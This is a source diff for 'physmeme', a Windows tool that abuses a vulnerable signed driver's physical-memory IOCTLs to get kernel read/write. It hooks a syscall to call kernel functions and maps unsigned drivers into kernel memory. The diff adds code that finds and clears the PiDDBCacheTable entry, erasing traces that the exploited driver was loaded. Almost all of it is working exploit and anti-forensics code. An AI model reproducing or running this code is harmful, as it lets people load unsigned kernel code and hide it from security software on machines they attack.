@@ -36,7 +36,7 @@ namespace physmeme // // you can edit this how you choose, im hooking NtShutdownSystem. // - inline const std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; + inline const std::pair syscall_hook = { "NtAddAtom", "ntdll.dll" }; class kernel_ctx { @@ -67,17 +67,22 @@ namespace physmeme void write_kernel(void* addr, void* buffer, std::size_t size); // - // zero kernel memory using RtlZeroMemory + // zero kernel memory using RtlZeroMemory // void zero_kernel_memory(void* addr, std::size_t size); + // + // clear piddb cache of a specific driver + // + bool clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp); + template T read_kernel(void* addr) { if (!addr) - return {}; + return {}; T buffer; - read_kernel(addr, &buffer, sizeof(T)); + read_kernel(addr, (void*)&buffer, sizeof(T)); return buffer; } @@ -85,13 +90,10 @@ namespace physmeme void write_kernel(void* addr, const T& data) { if (!addr) - return {}; - write_kernel(addr, &data, sizeof(T)); + return; + write_kernel(addr, (void*)&data, sizeof(T)); } - // - // use this to call any function in the kernel - // template std::invoke_result_t syscall(void* addr, Ts ... args) { @@ -101,15 +103,11 @@ namespace physmeme syscall_hook.first.data() ); - if (!proc || !psyscall_func || !addr) - return {}; - hook::make_hook(psyscall_func, addr); auto result = reinterpret_cast(proc)(args ...); hook::remove(psyscall_func); return result; } - private: // diff --git a/physmeme/loadup.hpp b/physmeme/loadup.hpp index 8f03750..6d4da1f 100644 --- a/physmeme/loadup.hpp +++ b/physmeme/loadup.hpp @@ -232,7 +232,7 @@ namespace driver }; const auto service_name = random_file_name(16); - const auto file_path = std::filesystem::temp_directory_path().string() + random_file_name(16); + const auto file_path = std::filesystem::temp_directory_path().string() + service_name; std::ofstream output_file(file_path.c_str(), std::ios::binary); output_file.write((char*)drv_buffer.data(), drv_buffer.size()); @@ -267,11 +267,10 @@ namespace driver RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); const bool unload_drv = !reinterpret_cast(lp_nt_unload_drv)(&driver_reg_path_unicode); - const auto image_path = util::get_service_image_path(service_name); - const bool delete_drv = std::filesystem::remove(image_path); + const auto image_path = std::filesystem::temp_directory_path().string() + service_name; const bool delete_reg = util::delete_service_entry(service_name); - - return unload_drv && delete_drv && delete_reg; + const bool delete_drv = std::filesystem::remove(image_path); + return unload_drv && delete_reg && delete_drv; } return false; } diff --git a/physmeme/main.cpp b/physmeme/main.cpp index 84f37d4..df2b102 100644 --- a/physmeme/main.cpp +++ b/physmeme/main.cpp @@ -1,5 +1,6 @@ #include "kernel_ctx/kernel_ctx.h" #include "drv_image/drv_image.h" +#include "raw_driver.hpp" int __cdecl main(int argc, char** argv) { @@ -19,8 +20,33 @@ int __cdecl main(int argc, char** argv) } physmeme::drv_image image(drv_buffer); + physmeme::load_drv(); physmeme::kernel_ctx ctx; + // + // unload exploitable driver + // + if (!physmeme::unload_drv()) + { + perror("[!] unable to unload driver... all handles closed?\n"); + return -1; + } + printf("[+] unloaded exploitable driver....\n"); + + // + // shoot the tires off piddb cache entry. + // + const auto drv_timestamp = util::get_file_header((void*)raw_driver)->TimeDateStamp; + printf("[+] clearing piddb cache for driver: %s, with timestamp 0x%x\n", physmeme::drv_key.c_str(), drv_timestamp); + + if (!ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp)) + { + // this is because the signature might be broken on these versions of windows. + perror("[-] failed to clear PiDDBCacheTable.\n"); + return -1; + } + printf("[+] cleared piddb cache...\n"); + // // lambdas used for fixing driver image // @@ -31,7 +57,7 @@ int __cdecl main(int argc, char** argv) const auto _get_export_name = [&](const char* base, const char* name) { - return reinterpret_cast(util::get_module_export(base, name)); + return reinterpret_cast(util::get_kernel_export(base, name)); }; // @@ -73,7 +99,7 @@ int __cdecl main(int argc, char** argv) // auto result = ctx.syscall( reinterpret_cast(entry_point), - reinterpret_cast(pool_base), + reinterpret_cast(pool_base), image.size() ); printf("[+] driver entry returned: 0x%p\n", result); @@ -82,7 +108,6 @@ int __cdecl main(int argc, char** argv) // zero driver headers // ctx.zero_kernel_memory(pool_base, image.header_size()); - physmeme::unload_drv(); printf("[=] press enter to close\n"); std::cin.get(); } \ No newline at end of file diff --git a/physmeme/physmeme.hpp b/physmeme/physmeme.hpp new file mode 100644 index 0000000..044cd50 --- /dev/null +++ b/physmeme/physmeme.hpp @@ -0,0 +1,92 @@ +#pragma once +#include +#include +#include +#include + +#include "../util/util.hpp" +#include "../loadup.hpp" +#include "../raw_driver.hpp" + +#pragma pack ( push, 1 ) +typedef struct _GIOMAP +{ + unsigned long interface_type; + unsigned long bus; + std::uintptr_t physical_address; + unsigned long io_space; + unsigned long size; +} GIOMAP; +#pragma pack ( pop ) + +namespace physmeme +{ + inline std::string drv_key; + + // + // please code this function depending on your method of physical read/write. + // + inline HANDLE load_drv() + { + const auto [result, key] = driver::load(raw_driver, sizeof(raw_driver)); + drv_key = key; + + return CreateFile( + "\\\\.\\GIO", + GENERIC_READ | GENERIC_WRITE, + NULL, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL + ); + } + + // + // please code this function depending on your method of physical read/write. + // + inline bool unload_drv() + { + return driver::unload(drv_key); + } + + inline HANDLE drv_handle = load_drv(); + + // + // please code this function depending on your method of physical read/write. + // + inline std::uintptr_t map_phys( + std::uintptr_t addr, + std::size_t size + ) + { + //--- ensure the validity of the address we are going to try and map + if (!util::is_valid(addr)) + return NULL; + + GIOMAP in_buffer = { 0, 0, addr, 0, size }; + uintptr_t out_buffer[2] = { 0 }; + unsigned long returned = 0; + DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast(&in_buffer), sizeof(in_buffer), + reinterpret_cast(out_buffer), sizeof(out_buffer), &returned, NULL); + return out_buffer[0]; + + } + + // + // please code this function depending on your method of physical read/write. + // + inline bool unmap_phys( + std::uintptr_t addr, + std::size_t size + ) + { + uintptr_t in_buffer = addr; + uintptr_t out_buffer[2] = {sizeof(out_buffer)}; + + unsigned long returned = NULL; + DeviceIoControl(drv_handle, 0xC3502008, reinterpret_cast(&in_buffer), sizeof(in_buffer), + reinterpret_cast(out_buffer), sizeof(out_buffer), &returned, NULL); + return out_buffer[0]; + } +} diff --git a/physmeme/physmeme.vcxproj.user b/physmeme/physmeme.vcxproj.user index 214bfe9..35c2f93 100644 --- a/physmeme/physmeme.vcxproj.user +++ b/physmeme/physmeme.vcxproj.user @@ -13,7 +13,7 @@ WindowsLocalDebugger - C:\Users\interesting\Desktop\hello-world.sys + C:\Users\xerox\Desktop\hello-world.sys WindowsLocalDebugger \ No newline at end of file diff --git a/physmeme/physmeme/physmeme.hpp b/physmeme/physmeme/physmeme.hpp index 044cd50..49b7979 100644 --- a/physmeme/physmeme/physmeme.hpp +++ b/physmeme/physmeme/physmeme.hpp @@ -22,16 +22,21 @@ typedef struct _GIOMAP namespace physmeme { inline std::string drv_key; + inline HANDLE drv_handle = NULL; // // please code this function depending on your method of physical read/write. // - inline HANDLE load_drv() + inline bool load_drv() { - const auto [result, key] = driver::load(raw_driver, sizeof(raw_driver)); - drv_key = key; + const auto [result, key] = + driver::load( + raw_driver, + sizeof(raw_driver) + ); - return CreateFile( + drv_key = key; + drv_handle = CreateFile( "\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, NULL, @@ -40,6 +45,7 @@ namespace physmeme FILE_ATTRIBUTE_NORMAL, NULL ); + return drv_handle; } // @@ -47,11 +53,9 @@ namespace physmeme // inline bool unload_drv() { - return driver::unload(drv_key); + return CloseHandle(drv_handle) && driver::unload(drv_key); } - inline HANDLE drv_handle = load_drv(); - // // please code this function depending on your method of physical read/write. // diff --git a/physmeme/util/nt.hpp b/physmeme/util/nt.hpp index 2b5528e..26fd9d1 100644 --- a/physmeme/util/nt.hpp +++ b/physmeme/util/nt.hpp @@ -1,11 +1,16 @@ #pragma once #include #include -#pragma comment(lib, "ntdll.lib") -constexpr auto ntoskrnl_path = "C:\\Windows\\System32\\ntoskrnl.exe"; +#pragma comment(lib, "ntdll.lib") constexpr auto page_size = 0x1000; +inline const char piddb_lock_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x8C\x24"; +inline const char piddb_lock_mask[] = "xxx????x????xxxx"; + +inline const char piddb_table_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x48\x8D\x1D\x00\x00\x00\x00\x48\x85\xC0\x0F"; +inline const char piddb_table_mask[] = "xxx????x????xxx????xxxx"; + constexpr auto SystemModuleInformation = 11; constexpr auto SystemHandleInformation = 16; constexpr auto SystemExtendedHandleInformation = 64; @@ -13,6 +18,14 @@ constexpr auto SystemExtendedHandleInformation = 64; #define MM_COPY_MEMORY_PHYSICAL 0x1 #define MM_COPY_MEMORY_VIRTUAL 0x2 +typedef struct PiDDBCacheEntry +{ + LIST_ENTRY list; + UNICODE_STRING driver_name; + ULONG time_stamp; + NTSTATUS load_status; + char _0x0028[16]; // data from the shim engine, or uninitialized memory for custom drivers +}PIDCacheobj; typedef struct _SYSTEM_HANDLE { @@ -91,4 +104,8 @@ typedef struct _MM_COPY_ADDRESS { using ExAllocatePool = PVOID(__stdcall*) (POOL_TYPE, SIZE_T); using ExAllocatePoolWithTag = PVOID(__stdcall*)(POOL_TYPE, SIZE_T, ULONG); using MmCopyMemory = NTSTATUS (__stdcall*)(PVOID, MM_COPY_ADDRESS,SIZE_T,ULONG,PSIZE_T); -using DRIVER_INITIALIZE = NTSTATUS(__stdcall*)(std::uintptr_t, std::size_t); \ No newline at end of file +using DRIVER_INITIALIZE = NTSTATUS(__stdcall*)(std::uintptr_t, std::size_t); +using ExAcquireResourceExclusiveLite = BOOLEAN(__stdcall*)(void*,bool); +using RtlLookupElementGenericTableAvl = PIDCacheobj* (__stdcall*) (void*, void*); +using RtlDeleteElementGenericTableAvl = bool(__stdcall*)(void*,void*); +using ExReleaseResourceLite = bool(__stdcall*)(void*); \ No newline at end of file diff --git a/physmeme/util/util.hpp b/physmeme/util/util.hpp index cd49be3..de3dbc1 100644 --- a/physmeme/util/util.hpp +++ b/physmeme/util/util.hpp @@ -9,6 +9,9 @@ #include #include #include +#include +#include +#include #include "nt.hpp" @@ -49,6 +52,21 @@ namespace util return true; })(); + inline PIMAGE_FILE_HEADER get_file_header(void* base_addr) + { + if (!base_addr || *(short*)base_addr != 0x5A4D) + return NULL; + + PIMAGE_DOS_HEADER dos_headers = + reinterpret_cast(base_addr); + + PIMAGE_NT_HEADERS nt_headers = + reinterpret_cast( + reinterpret_cast(base_addr) + dos_headers->e_lfanew); + + return &nt_headers->FileHeader; + } + // this was taken from wlan's drvmapper: // https://github.com/not-wlan/drvmap/blob/98d93cc7b5ec17875f815a9cb94e6d137b4047ee/drvmap/util.cpp#L7 static void open_binary_file(const std::string& file, std::vector& data) @@ -106,18 +124,28 @@ namespace util // get base address of kernel module // // taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30 - static void* get_module_export(const char* module_name, const char* export_name, bool rva = false) + static void* get_kernel_export(const char* module_name, const char* export_name, bool rva = false) { void* buffer = nullptr; - DWORD buffer_size = 0; + DWORD buffer_size = NULL; - NTSTATUS status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); + NTSTATUS status = NtQuerySystemInformation( + static_cast(SystemModuleInformation), + buffer, + buffer_size, + &buffer_size + ); while (status == STATUS_INFO_LENGTH_MISMATCH) { VirtualFree(buffer, 0, MEM_RELEASE); buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); + status = NtQuerySystemInformation( + static_cast(SystemModuleInformation), + buffer, + buffer_size, + &buffer_size + ); } if (!NT_SUCCESS(status)) @@ -130,7 +158,12 @@ namespace util for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) { // find module and then load library it - const std::string current_module_name = std::string(reinterpret_cast(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName); + const std::string current_module_name = + std::string(reinterpret_cast( + modules->Modules[idx].FullPathName) + + modules->Modules[idx].OffsetToFileName + ); + if (!_stricmp(current_module_name.c_str(), module_name)) { // had to shoot the tires off of "\\SystemRoot\\" @@ -141,7 +174,13 @@ namespace util std::string(getenv("SYSTEMROOT")).append("\\") ); - auto module_base = LoadLibraryA(full_path.c_str()); + const auto module_base = + LoadLibraryEx( + full_path.c_str(), + NULL, + DONT_RESOLVE_DLL_REFERENCES + ); + PIMAGE_DOS_HEADER p_idh; PIMAGE_NT_HEADERS p_inh; PIMAGE_EXPORT_DIRECTORY p_ied; @@ -189,4 +228,117 @@ namespace util VirtualFree(buffer, NULL, MEM_RELEASE); return NULL; } + + namespace memory + { + template + inline std::uintptr_t pattern_scan_kernel(const char(&signature)[pattern_length], const char(&mask)[pattern_length]) + { + static const auto kernel_addr = + LoadLibraryEx( + "ntoskrnl.exe", + NULL, + DONT_RESOLVE_DLL_REFERENCES + ); + + static const auto p_idh = reinterpret_cast(kernel_addr); + if (p_idh->e_magic != IMAGE_DOS_SIGNATURE) + return NULL; + + static const auto p_inh = reinterpret_cast((LPBYTE)kernel_addr + p_idh->e_lfanew); + if (p_inh->Signature != IMAGE_NT_SIGNATURE) + return NULL; + + static auto current_section = reinterpret_cast(p_inh + 1); + static const auto first_section = current_section; + static const auto num_sec = p_inh->FileHeader.NumberOfSections; + static std::atomic ran_before = false; + + // + // only run this once. + // + if(!ran_before.exchange(true)) + for (; current_section < first_section + num_sec; ++current_section) + if(!strcmp(reinterpret_cast(current_section->Name), "PAGE")) + break; + + static const auto page_section_begin = + reinterpret_cast(kernel_addr) + current_section->VirtualAddress; + + const auto pattern_view = std::string_view{ + reinterpret_cast(page_section_begin), + current_section->SizeOfRawData + }; + + std::array, pattern_length - 1> pattern{}; + + for (std::size_t index = 0; index < pattern_length - 1; index++) + pattern[index] = { signature[index], mask[index] }; + + auto resultant_address = std::search( + pattern_view.cbegin(), + pattern_view.cend(), + pattern.cbegin(), + pattern.cend(), + [](char left, std::pair right) -> bool { + return (right.second == '?' || left == right.first); + }); + + return resultant_address == pattern_view.cend() ? 0 : reinterpret_cast(resultant_address.operator->()); + } + + // + // be aware that this may not work for win8 or win7! + // + inline void* get_piddb_lock() + { + static const auto absolute_addr_instruction = + pattern_scan_kernel( + piddb_lock_sig, + piddb_lock_mask + ); + + static const auto ntoskrnl_in_my_process = + reinterpret_cast(GetModuleHandle("ntoskrnl.exe")); + + if (!absolute_addr_instruction || !ntoskrnl_in_my_process) + return {}; + + const auto lea_rip_rva = *(PLONG)(absolute_addr_instruction + 3); + const auto real_rva = (absolute_addr_instruction + 7 + lea_rip_rva) - ntoskrnl_in_my_process; + static const auto kernel_base = util::get_module_base("ntoskrnl.exe"); + + if (!kernel_base) + return {}; + + return reinterpret_cast(kernel_base + real_rva); + } + + // + // be aware that this may not work for win8 or win7! + // + inline void* get_piddb_table() + { + static const auto absolute_addr_instruction = + pattern_scan_kernel( + piddb_table_sig, + piddb_table_mask + ); + + static const auto ntoskrnl_in_my_process = + reinterpret_cast(GetModuleHandle("ntoskrnl.exe")); + + if (!absolute_addr_instruction || !ntoskrnl_in_my_process) + return {}; + + const auto lea_rip_rva = *(PLONG)(absolute_addr_instruction + 3); + const auto real_rva = (absolute_addr_instruction + 7 + lea_rip_rva) - ntoskrnl_in_my_process; + static const auto kernel_base = util::get_module_base("ntoskrnl.exe"); + + if (!kernel_base) + return {}; + + return reinterpret_cast(kernel_base + real_rva); + } + } } \ No newline at end of file